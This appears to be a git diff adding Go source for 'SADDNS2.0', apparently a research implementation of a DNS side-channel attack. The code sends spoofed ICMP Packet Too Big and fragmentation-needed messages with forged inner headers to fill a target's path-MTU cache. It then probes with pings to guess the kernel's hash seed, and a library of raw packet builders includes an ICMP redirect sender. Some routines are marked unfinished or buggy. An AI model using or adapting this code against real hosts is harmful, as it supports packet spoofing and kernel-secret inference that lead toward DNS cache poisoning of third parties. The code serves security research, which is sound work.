+ }
+ guessSeedMode = false
+ // check if all "ICMPinCache" has a fragmented reply. If yes, then continue. If no, check if only one is missing, if so, then output the pair. Update the ICMPinCache accordingly with the ipNoFragMap
+ if !waitTimeout {
+ // check responses
+ noFragReplyIP := make([]string, 0)
+ for ip, _ := range ICMPinCache {
+ if ipNoFragMap[ip] {
+ noFragReplyIP = append(noFragReplyIP, ip)
+ }
+ }
+ if len(noFragReplyIP) > 0 && len(noFragReplyIP) <= checkPoint {
+ fmt.Println("Found same hash for:", noFragReplyIP, sendingIPs)
+ } else {
+ fmt.Println("cached entry=", len(ICMPinCache))
+ }
+ // refresh ICMPinCache
+ ICMPinCache = make(map[string]bool)
+ for ip, nofrag := range ipNoFragMap {
+ if !nofrag {
+ ICMPinCache[ip] = true
+ }
+ }
+ } else {
+ fmt.Println("Timeout!")
+ }
+ ipNoFragMap = make(map[string]bool)
+ }
+}
+
+func guessSeedBF_UNFINISHED(checkPoint int, dstIP net.IP, delay uint, mtu uint16, garbage []byte, waitTime uint) {
+ var sendingIP net.IP
+ sendingIP = make([]byte, 16)
+ copy(sendingIP, localIPv6Subnet.IP)
+ v6 := CheckIPv6(sendingIP)
+ var realIP net.IP
+ copy(realIP, localIPv6Subnet.IP)
+ echoLayer0, echoLayer1 := GetICMPPingLayer(0, 0, v6)
+
+ ipLayer := GetIPLayer(sendingIP, dstIP, false, 0, layers.IPProtocolICMPv6)
+ fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6)
+ innerIPLayer := GetIPLayer(sendingIP, dstIP, true, 0, layers.IPProtocolICMPv6)
+ echoReplyLayer0, echoReplyLayer1 := GetICMPPingLayer(0, 0, v6)
+
+ guessSeedMode = true
+ rand.Seed(time.Now().Unix())
+ increaseGaps := make([]uint32, 0)
+
+ // plant our real IP
+ XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+
+ for i := 0; i < checkPoint; i++ {
+ increaseGaps = append(increaseGaps, 1)
+ XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+ if v6 {
+ IncreaseIPv6Addr(sendingIP, increaseGaps[i], 0)
+ } else {
+ IncreaseIPv4Addr(sendingIP, increaseGaps[i])
+ }
+ // check
+ XmitICMP(h, eth, ipLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay)
+ }
+
+ time.Sleep(time.Second)
+ guessSeedMode = false
+
+ // analyze
+ notFragedIPs := make([]string, 0)
+ for ip, nofrag := range ipNoFragMap {
+ if nofrag {
+ notFragedIPs = append(notFragedIPs, ip)
+ }
+ }
+ sort.Slice(notFragedIPs, func(i, j int) bool {
+ return CompareIPAddr(net.ParseIP(notFragedIPs[i]), net.ParseIP(notFragedIPs[j]), 0) > 0
+ })
+ fmt.Println(notFragedIPs)
+
+ //time.Sleep(time.Second)
+ //IncreaseIPv6Addr(sendingIP, 1, 0)
+ //XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+
+ // reset finish status
+ for i := 0; i < 12; i++ {
+ C.finished[i] = 0
+ }
+
+ // output data
+ file, err := os.OpenFile("guessSeed-output.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 666)
+ if err != nil {
+ fmt.Println(err)
+ }
+
+ // update testedIP in C
+ C.testedIPCount = C.int(checkPoint)
+ fmt.Fprint(file, checkPoint, " ")
+ testedIP := make(map[string]int)
+ copy(sendingIP, localIPv6Subnet.IP)
+ for i := 0; i < checkPoint; i++ {
+ for j := 0; j < 16; j++ {
+ C.testedIP[i][j] = C.uchar(sendingIP[j])
+ fmt.Fprintf(file, "%x ", sendingIP[j])
+ }
+ testedIP[sendingIP.String()] = i
+ IncreaseIPv6Addr(sendingIP, increaseGaps[i], 0)
+ }
+
+ // update removedIPNum in C
+ ipNoFragMap = make(map[string]bool)
+ if len(notFragedIPs) > 20 {
+ fmt.Println("too many colliding IPs")
+ } else {
+ C.removedIPCount = C.int(len(notFragedIPs))
+ fmt.Fprint(file, len(notFragedIPs), " ")
+ for j, ip := range notFragedIPs {
+ num, ok := testedIP[ip]
+ if !ok {
+ fmt.Println("BUG, ip", ip, "does not exist among probing IPs!")
+ os.Exit(-1)
+ }
+ C.removedIPNum[j] = C.uint(num)
+ fmt.Fprint(file, num, " ")
+ }
+ C.resultCount = C.int(len(notFragedIPs))
+
+ //for i := 0; i < 12; i++ {
+ // go C.guess_seed3(C.int(i))
+ //}
+ //
+ //for i := 0; i < 12; i++ {
+ // //if C.finished[i] == 0 {
+ // time.Sleep(time.Second)
+ // i = 0
+ // //}
+ //}
+ //
+ //var i C.int = 0
+ //for i = 0; i < C.resultCount; i++ {
+ // fmt.Println("seed:", C.results[i])
+ //}
+ }
+ file.Close()
+}
+
+func readPublicIPs() map[string]net.IP {
+ publicIPMap := make(map[string]net.IP)
+ file, err := os.OpenFile("guessSeed-publicinput.txt", os.O_RDONLY, 666)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(-1)
+ }
+ var tmp string
+ for {
+ // public IP
+ _, err := fmt.Fscanln(file, &tmp)
+ if err != nil {
+ fmt.Println(err)
+ break
+ }
+ publicIP := net.ParseIP(tmp)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(-2)
+ }
+
+ // private ip
+ _, err = fmt.Fscanln(file, &tmp)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(-3)
+ }
+ publicIPMap[tmp] = publicIP
+ }
+ return publicIPMap
+}
+
+func readMacs() ([]net.HardwareAddr, map[string]net.IP) {
+ macs := make([]net.HardwareAddr, 0)
+ file, err := os.OpenFile("guessSeed-macinput.txt", os.O_RDONLY, 666)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(-1)
+ }
+ var tmp string
+ for {
+ // mac
+ _, err := fmt.Fscanln(file, &tmp)
+ if err != nil {
+ fmt.Println(err)
+ break
+ }
+ hw, err := net.ParseMAC(tmp)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(-2)
+ }
+ macs = append(macs, hw)
+ // ip
+ _, err = fmt.Fscanln(file, &tmp)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(-3)
+ }
+ macIPMap[hw.String()] = net.ParseIP(tmp)
+ }
+ return macs, macIPMap
+}
+
+func guessSeed_macver_analyze(checkPoint int) {
+ // assume handle is in pcap reading mode and the seed guess mode is properly set
+ // pcap analysis should been done now
+ for {
+ time.Sleep(time.Second)
+ if len(pcapChannel) > 0 {
+ time.Sleep(time.Second)
+ } else {
+ break
+ }
+ }
+ v6 := CheckIPv6(localIP)
+ macs, _ := readMacs()
+ publicIpMap := readPublicIPs()
+ // analyze
+ notFragedIPs := make([]string, 0)
+ for ip, nofrag := range ipNoFragMap {
+ if nofrag {
+ notFragedIPs = append(notFragedIPs, ip)
+ }
+ }
+ fmt.Println("Not responding IPs:")
+ for privateIP, publicIP := range publicIpMap {
+ _, ok := ipNoFragMap[privateIP]
+ if !ok {
+ fmt.Print("[", privateIP, ",", publicIP, "]")
+ }
+ }
+ fmt.Println()
+ sort.Slice(notFragedIPs, func(i, j int) bool {
+ return CompareIPAddr(net.ParseIP(notFragedIPs[i]), net.ParseIP(notFragedIPs[j]), 0) > 0
+ })
+ fmt.Println(notFragedIPs)
+ for _, ip := range notFragedIPs {
+ fmt.Print(publicIpMap[ip], ",")
+ }
+
+ // output data
+ file, err := os.OpenFile("guessSeed-output.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 666)
+ if err != nil {
+ fmt.Println(err)
+ }
+
+ // update testedIP in C
+ fmt.Fprint(file, checkPoint, " ")
+ testedIP := make(map[string]int)
+ for i := 0; i < checkPoint; i++ {
+ if v6 {
+ for j := 0; j < 16; j++ {
+ fmt.Fprintf(file, "%x ", publicIpMap[macIPMap[macs[i].String()].String()].To16()[j])
+ }
+ } else {
+ for j := 0; j < 4; j++ {
+ fmt.Fprintf(file, "%x ", publicIpMap[macIPMap[macs[i].String()].String()].To4()[j])
+ }
+ }
+ testedIP[macIPMap[macs[i].String()].String()] = i
+ }
+
+ // update removedIPNum in C
+ ipNoFragMap = make(map[string]bool)
+ if len(notFragedIPs) > 20 {
+ fmt.Println("too many colliding IPs")
+ } else {
+ fmt.Fprint(file, len(notFragedIPs), " ")
+ for _, ip := range notFragedIPs {
+ num, ok := testedIP[ip]
+ if !ok {
+ fmt.Println("BUG, ip", ip, "does not exist among probing IPs!")
+ os.Exit(-1)
+ }
+ fmt.Fprint(file, num, " ")
+ }
+
+ }
+ file.Close()
+
+}
+
+
+func guessSeed_macver2(checkPoint int, dstIP net.IP, delay uint, garbage []byte) {
+ v6 := CheckIPv6(localIP)
+ macs, _ := readMacs()
+ ipLayer := GetIPLayer(localIP, dstIP, false, 0, layers.IPProtocolICMPv6)
+ // Garbage needs to be initialized
+ for i := 0; i < checkPoint; i++ {
+ eth.DstMAC = macs[i]
+ echoLayer0, echoLayer1 := GetICMPPingLayer(uint16(i), uint16(i), v6)
+ XmitICMP(h, eth, ipLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay)
+ }
+}
+
+func guessSeed_macVer1(checkPoint int, dstIP net.IP, delay uint, mtu uint16) {
+ v6 := CheckIPv6(localIP)
+ ipLayer := GetIPLayer(localIP, dstIP, false, 0, layers.IPProtocolICMPv6)
+ fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6)
+ innerIPLayer := GetIPLayer(localIP, dstIP, true, 0, layers.IPProtocolICMPv6)
+ echoReplyLayer0, echoReplyLayer1 := GetICMPPingReplyLayer(0, 0, v6)
+
+ macs, _ := readMacs()
+ for i := 0; i < checkPoint; i++ {
+ eth.DstMAC = macs[i]
+ innerIPLayer = GetIPLayer(macIPMap[eth.DstMAC.String()], dstIP, true, 0, layers.IPProtocolICMPv6)
+ XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+ //fmt.Println(eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1)
+ }
+}
+
+func guessSeed_macver(checkPoint int, dstIP net.IP, delay uint, mtu uint16, garbage []byte, waitTime uint) {
+ // read eth macs
+ guessSeedMacMode = true
+ macs := make([]net.HardwareAddr, 0)
+
+ /*aa:bb:cc:dd:ee:ff
+ 10.0.0.1*/
+ file, err := os.OpenFile("guessSeed-macinput.txt", os.O_RDONLY, 666)
+ if err != nil {
+ fmt.Println(err)
+ os.Exit(-1)
+ }
+ macs, _ = readMacs()
+
+ var sendingIP net.IP
+ sendingIP = localIP
+ v6 := CheckIPv6(sendingIP)
+ if !v6 {
+ sendingIP = sendingIP.To4()
+ }
+
+ ipLayer := GetIPLayer(sendingIP, dstIP, false, 0, layers.IPProtocolICMPv6)
+ fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6)
+ innerIPLayer := GetIPLayer(sendingIP, dstIP, true, 0, layers.IPProtocolICMPv6)
+ echoReplyLayer0, echoReplyLayer1 := GetICMPPingReplyLayer(0, 0, v6)
+
+ guessSeedMode = true
+
+ for i := 0; i < checkPoint; i++ {
+ eth.DstMAC = macs[i]
+ innerIPLayer = GetIPLayer(macIPMap[eth.DstMAC.String()], dstIP, true, 0, layers.IPProtocolICMPv6)
+ XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+ //fmt.Println(eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1)
+ }
+ time.Sleep(time.Duration(waitTime) * time.Millisecond)
+ // check
+ echoLayer0, echoLayer1 := GetICMPPingLayer(0, 0, v6)
+ // Garbage needs to be initialized
+ for i := 0; i < checkPoint; i++ {
+ eth.DstMAC = macs[i]
+ XmitICMP(h, eth, ipLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay)
+ }
+ time.Sleep(time.Second)
+ guessSeedMode = false
+
+ // analyze
+ notFragedIPs := make([]string, 0)
+ for ip, nofrag := range ipNoFragMap {
+ if nofrag {
+ notFragedIPs = append(notFragedIPs, ip)
+ }
+ }
+ sort.Slice(notFragedIPs, func(i, j int) bool {
+ return CompareIPAddr(net.ParseIP(notFragedIPs[i]), net.ParseIP(notFragedIPs[j]), 0) > 0
+ })
+ fmt.Println(notFragedIPs)
+
+ //time.Sleep(time.Second)
+ //IncreaseIPv6Addr(sendingIP, 1, 0)
+ //XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+
+ // reset finish status
+ for i := 0; i < 12; i++ {
+ C.finished[i] = 0
+ }
+
+ // output data
+ file, err = os.OpenFile("guessSeed-output.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 666)
+ if err != nil {
+ fmt.Println(err)
+ }
+
+ file.Close()
+}
+
+/* Used for IPv6 seed guessing or a host with multiple IPv4 addresses.
+ checkPoint: the number of IPs used to probe
+ mtu: mtu value in the frag needed packet
+ waitTime: packet sending gap*/
+func guessSeed(checkPoint int, dstIP net.IP, delay uint, mtu uint16, garbage []byte, waitTime uint) {
+ var sendingIP net.IP
+ sendingIP = make([]byte, 16)
+ v6 := CheckIPv6(localIPv6Subnet.IP)
+ if !v6 {
+ sendingIP = make([]byte, 4)
+ }
+ copy(sendingIP, localIPv6Subnet.IP)
+
+ ipLayer := GetIPLayer(sendingIP, dstIP, false, 0, layers.IPProtocolICMPv6)
+ fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6)
+ innerIPLayer := GetIPLayer(sendingIP, dstIP, true, 0, layers.IPProtocolICMPv6)
+ echoReplyLayer0, echoReplyLayer1 := GetICMPPingReplyLayer(0, 0, v6)
+
+ guessSeedMode = true
+ rand.Seed(time.Now().Unix())
+ increaseGaps := make([]uint32, 0)
+ /*TODO: BUG, ipv6 only due to IncreaseIPv6Addr()*/
+
+ //for i := 0; i < checkPoint; i++ {
+ // increaseGaps = append(increaseGaps, 1)
+ // XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+ // IncreaseIPv6Addr(sendingIP, increaseGaps[i], 0)
+ //}
+
+ for i := 0; i < checkPoint; i++ {
+ increaseGaps = append(increaseGaps, 1)
+ XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+ IncreaseIPAddr(sendingIP, increaseGaps[i])
+ }
+ time.Sleep(time.Duration(waitTime) * time.Millisecond)
+ // check
+ copy(sendingIP, localIPv6Subnet.IP)
+ echoLayer0, echoLayer1 := GetICMPPingLayer(0, 0, v6)
+ // Garbage needs to be initialized
+ for i := 0; i < checkPoint; i++ {
+ XmitICMP(h, eth, ipLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay)
+ IncreaseIPAddr(sendingIP, increaseGaps[i])
+ }
+ time.Sleep(time.Second)
+ guessSeedMode = false
+
+
+
+ // output data
+ file, err := os.OpenFile("guessSeed-output.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 666)
+ if err != nil {
+ fmt.Println(err)
+ }
+
+ file.Close()
+}
diff --git a/src/ucr.edu/SADDNS2.0/Library.go b/src/ucr.edu/SADDNS2.0/Library.go
new file mode 100644
index 0000000..cec6522
--- /dev/null
+++ b/src/ucr.edu/SADDNS2.0/Library.go
@@ -0,0 +1,790 @@
+package main
+
+import (
+ "encoding/binary"
+ "errors"
+ "fmt"
+ "github.com/google/gopacket"
+ "github.com/google/gopacket/layers"
+ "github.com/google/gopacket/pcap"
+ "net"
+ "runtime/debug"
+ "time"
+)
+
+func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error {
+ opts := gopacket.SerializeOptions{
+ FixLengths: true,
+ ComputeChecksums: true,
+ }
+ buffer := gopacket.NewSerializeBuffer()
+ newLayers := make([]gopacket.SerializableLayer, 0)
+ for _, layers := range l {
+ if layers != nil {
+ newLayers = append(newLayers, layers)
+ }
+ }
+ if err := gopacket.SerializeLayers(buffer, opts, newLayers...); err != nil {
+ return err
+ }
+ return handle.WritePacketData(buffer.Bytes())
+}
+
+func getData(l ...gopacket.SerializableLayer) ([]byte, error) {
+ opts := gopacket.SerializeOptions{
+ FixLengths: true,
+ ComputeChecksums: true,
+ }
+ buffer := gopacket.NewSerializeBuffer()
+ newLayers := make([]gopacket.SerializableLayer, 0)
+ for _, layers := range l {
+ if layers != nil {
+ newLayers = append(newLayers, layers)
+ }
+ }
+ if err := gopacket.SerializeLayers(buffer, opts, newLayers...); err != nil {
+ return nil, err
+ }
+ return buffer.Bytes(), nil
+}
+
+func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP []net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To4() != nil {
+ //check repeat
+ okToAdd := true
+ for _, temp := range srcIP {
+ if CompareIPAddr(temp, ipnet.IP.To4(), 0) == 0 {
+ okToAdd = false
+ break
+ }
+ }
+ if okToAdd {
+ srcIP = append(srcIP, ipnet.IP.To4())
+ }
+ }
+ }
+ }
+
+ if srcIP == nil || len(srcIP) == 0 {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func GetIfaceAddr(iface *net.Interface) (net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To4() != nil {
+ srcIP = ipnet.IP.To4()
+ break
+ }
+ }
+ }
+
+ if srcIP == nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func GetIfaceAddr6(iface *net.Interface) (net.IP, error) {
+ addrs, err := iface.Addrs()
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ var srcIP net.IP
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To4() == nil {
+ srcIP = ipnet.IP
+ break
+ }
+ }
+ }
+
+ if srcIP == nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ return srcIP, nil
+}
+
+func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) {
+ srcIP, err := GetIfaceAddr(iface)
+ if err != nil {
+ return nil, errors.New("can not get ip address")
+ }
+
+ start := time.Now()
+ // Prepare the layers to send for an ARP request.
+ eth := layers.Ethernet{
+ SrcMAC: iface.HardwareAddr,
+ DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
+ EthernetType: layers.EthernetTypeARP,
+ }
+ arp := layers.ARP{
+ AddrType: layers.LinkTypeEthernet,
+ Protocol: layers.EthernetTypeIPv4,
+ HwAddressSize: 6,
+ ProtAddressSize: 4,
+ Operation: layers.ARPRequest,
+ SourceHwAddress: []byte(iface.HardwareAddr),
+ SourceProtAddress: []byte(srcIP),
+ DstHwAddress: []byte{0, 0, 0, 0, 0, 0},
+ DstProtAddress: []byte(gatewayIP),
+ }
+ // Send a single ARP request packet (we never retry a send, since this
+ // is just an example ;)
+ if err := Send(handle, &eth, &arp); err != nil {
+ return nil, err
+ }
+ // Wait 3 seconds for an ARP reply.
+ for {
+ if time.Since(start) > time.Second*3 {
+ return nil, errors.New("timeout getting ARP reply")
+ }
+ data, _, err := handle.ReadPacketData()
+ if err == pcap.NextErrorTimeoutExpired {
+ continue
+ } else if err != nil {
+ return nil, err
+ }
+ packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy)
+ if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil {
+ arp := arpLayer.(*layers.ARP)
+ //Logger().Debugw("arp", "ip", gatewayIP)
+ if net.IP(arp.SourceProtAddress).Equal(net.IP(gatewayIP)) {
+ return net.HardwareAddr(arp.SourceHwAddress), nil
+ }
+ }
+ }
+}
+
+func IncreaseIPAddr(ip net.IP, delta uint32) {
+ if CheckIPv6(ip) {
+ IncreaseIPv6Addr(ip, delta, 0)
+ } else {
+ IncreaseIPv4Addr(ip, delta)
+ }
+}
+
+//i should be 0 when init
+//bug: 0xffff->0x0000
+func IncreaseIPv6Addr(ip net.IP, delta uint32, i uint) {
+ temp := binary.BigEndian.Uint32(ip[12-i*4 : 16-i*4])
+ newtemp := temp + delta
+ binary.BigEndian.PutUint32(ip[12-i*4:16-i*4], newtemp)
+ if newtemp <= temp && delta != 0 {
+ IncreaseIPv6Addr(ip, 1, i+1)
+ }
+}
+
+//bug: 0xffff->0x0000
+func IncreaseIPv4Addr(ip net.IP, delta uint32) {
+ temp := binary.BigEndian.Uint32(ip.To4())
+ newtemp := temp + delta
+ binary.BigEndian.PutUint32(ip, newtemp)
+}
+
+func GetIPLayer(srcIP net.IP, dstIP net.IP, swap bool, fl uint32, nextHeader layers.IPProtocol) gopacket.SerializableLayer {
+ return GetIPLayerWithTTL(srcIP, dstIP, swap, fl, nextHeader, 100)
+}
+
+func GetIPLayerWithTTL(srcIP net.IP, dstIP net.IP, swap bool, fl uint32, nextHeader layers.IPProtocol, ttl int) gopacket.SerializableLayer {
+ if CheckIPv6(dstIP) {
+ if swap {
+ tmp := dstIP
+ dstIP = srcIP
+ srcIP = tmp
+ }
+ if nextHeader == layers.IPProtocolICMPv4 {
+ nextHeader = layers.IPProtocolICMPv6
+ }
+ return &layers.IPv6{
+ Version: 6,
+ FlowLabel: fl,
+ HopLimit: uint8(ttl),
+ SrcIP: srcIP,
+ DstIP: dstIP,
+ NextHeader: nextHeader,
+ }
+ } else {
+ if swap {
+ tmp := dstIP
+ dstIP = srcIP
+ srcIP = tmp
+ }
+ if nextHeader == layers.IPProtocolICMPv6 {
+ nextHeader = layers.IPProtocolICMPv4
+ }
+ return &layers.IPv4{
+ Version: 4,
+ Id: uint16(fl),
+ TTL: uint8(ttl),
+ Protocol: nextHeader,
+ SrcIP: srcIP,
+ DstIP: dstIP,
+ }
+ }
+}
+
+func GetUDPLayer(srcPort layers.UDPPort, dstPort layers.UDPPort) layers.UDP {
+ return layers.UDP{
+ SrcPort: srcPort,
+ DstPort: dstPort,
+ }
+}
+
+func GetICMPTimeExceededLayer(v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) {
+ if v6 {
+ return &layers.ICMPv6{
+ TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeTimeExceeded, layers.ICMPv6CodeHopLimitExceeded),
+ }, nil
+ } else {
+ return &layers.ICMPv4{
+ TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeTimeExceeded, layers.ICMPv4CodeTTLExceeded),
+ }, nil
+ }
+}
+
+func GetICMPPkt2BigLayer(pmtu uint16, v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) {
+ if v6 {
+ return &layers.ICMPv6{
+ TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypePacketTooBig, 0),
+ }, &layers.ICMPv6Echo{
+ Identifier: 0,
+ SeqNumber: pmtu,
+ }
+ } else {
+ return &layers.ICMPv4{
+ TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeDestinationUnreachable, layers.ICMPv4CodeFragmentationNeeded),
+ Seq: pmtu,
+ }, nil
+ }
+}
+
+func GetICMPPingLayer(identifier uint16, seqNumber uint16, v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) {
+ if v6 {
+ return &layers.ICMPv6{
+ TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeEchoRequest, 0),
+ }, &layers.ICMPv6Echo{
+ Identifier: identifier,
+ SeqNumber: seqNumber,
+ }
+ } else {
+ return &layers.ICMPv4{
+ TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeEchoRequest, 0),
+ Id: identifier,
+ Seq: seqNumber,
+ }, nil
+ }
+}
+
+func GetICMPPingReplyLayer(identifier uint16, seqNumber uint16, v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) {
+ if v6 {
+ return &layers.ICMPv6{
+ TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeEchoReply, 0),
+ }, &layers.ICMPv6Echo{
+ Identifier: identifier,
+ SeqNumber: seqNumber,
+ }
+ } else {
+ return &layers.ICMPv4{
+ TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeEchoReply, 0),
+ Id: identifier,
+ Seq: seqNumber,
+ }, nil
+ }
+}
+
+func GetICMPUnreachableLayer(v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) {
+ if v6 {
+ return &layers.ICMPv6{
+ TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable),
+ }, &layers.ICMPv6Echo{
+ Identifier: 0,
+ SeqNumber: 0,
+ }
+ } else {
+ return &layers.ICMPv4{
+ TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeDestinationUnreachable, layers.ICMPv4CodePort),
+ }, nil
+ }
+}
+
+func XmitUDP(h *pcap.Handle, ethernet *layers.Ethernet, ipLayer gopacket.SerializableLayer, UDPLayer *layers.UDP, data gopacket.SerializableLayer, delay uint) {
+ ipLayer6, ok := ipLayer.(*layers.IPv6)
+ if ok {
+ err := UDPLayer.SetNetworkLayerForChecksum(ipLayer6)
+ if err != nil {
+ fmt.Println("xmitUDP6:", err)
+ debug.PrintStack()
+ }
+ err = Send(h, ethernet, ipLayer, UDPLayer, data)
+ if err != nil {
+ fmt.Println("xmitUDP6:", err)
+ debug.PrintStack()
+ }
+
+ } else {
+ err := UDPLayer.SetNetworkLayerForChecksum(ipLayer.(*layers.IPv4))
+ if err != nil {
+ fmt.Println("xmitUDP4:", err)
+ debug.PrintStack()
+ }
+ err = Send(h, ethernet, ipLayer, UDPLayer, data)
+ if err != nil {
+ fmt.Println("xmitUDP4:", err)
+ debug.PrintStack()
+ }
+ }
+ if delay != 0 {
+ time.Sleep(time.Duration(delay) * time.Nanosecond)
+ }
+}
+
+func XmitICMP(h *pcap.Handle, ethernet *layers.Ethernet, outIPLayer gopacket.SerializableLayer, ICMPLayer0 gopacket.SerializableLayer, ICMPLayer1 gopacket.SerializableLayer, innerIPLayer gopacket.SerializableLayer, innerLayer0 gopacket.SerializableLayer, innerLayer1 gopacket.SerializableLayer, data []byte, delay uint) {
+ outIPLayer6, ok := outIPLayer.(*layers.IPv6)
+ if ok {
+ err := ICMPLayer0.(*layers.ICMPv6).SetNetworkLayerForChecksum(outIPLayer6)
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ debug.PrintStack()
+ return
+ }
+ if innerIPLayer != nil && innerLayer0 != nil {
+ if innerIPLayer.(*layers.IPv6).NextHeader == layers.IPProtocolUDP {
+ err = innerLayer0.(*layers.UDP).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6))
+ } else if innerIPLayer.(*layers.IPv6).NextHeader == layers.IPProtocolICMPv6 {
+ err = innerLayer0.(*layers.ICMPv6).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6))
+ }
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ debug.PrintStack()
+ return
+ }
+ err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, innerIPLayer, innerLayer0, innerLayer1, gopacket.Payload(data))
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ debug.PrintStack()
+ return
+ }
+ } else {
+ err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, gopacket.Payload(data))
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ debug.PrintStack()
+ return
+ }
+ }
+ } else {
+ var err error = nil
+ if innerIPLayer != nil && innerLayer0 != nil {
+ if innerIPLayer.(*layers.IPv4).Protocol == layers.IPProtocolUDP {
+ err = innerLayer0.(*layers.UDP).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv4))
+ }
+ if err != nil {
+ fmt.Println("xmitICMPv41:", err)
+ debug.PrintStack()
+ return
+ }
+ err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, innerIPLayer, innerLayer0, innerLayer1, gopacket.Payload(data))
+ if err != nil {
+ fmt.Println("xmitICMPv42:", err)
+ debug.PrintStack()
+ return
+ }
+ } else {
+ err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, gopacket.Payload(data))
+ if err != nil {
+ fmt.Println("xmitICMPv43:", err)
+ debug.PrintStack()
+ return
+ }
+ }
+ }
+ if delay != 0 {
+ time.Sleep(time.Duration(delay) * time.Microsecond)
+ }
+}
+
+/* TODO: buggy, len of the outer IPv6 header is incorrect. */
+func XmitICMP_redirect(h *pcap.Handle, ethernet *layers.Ethernet, outIPLayer gopacket.SerializableLayer, ICMPLayer0 gopacket.SerializableLayer, ICMPLayer1 gopacket.SerializableLayer, innerIPLayer gopacket.SerializableLayer, innerLayer0 gopacket.SerializableLayer, innerLayer1 gopacket.SerializableLayer, data []byte, delay uint) {
+ outIPLayer6, ok := outIPLayer.(*layers.IPv6)
+ if ok {
+ err := ICMPLayer0.(*layers.ICMPv6).SetNetworkLayerForChecksum(outIPLayer6)
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ return
+ }
+ var innerData []byte
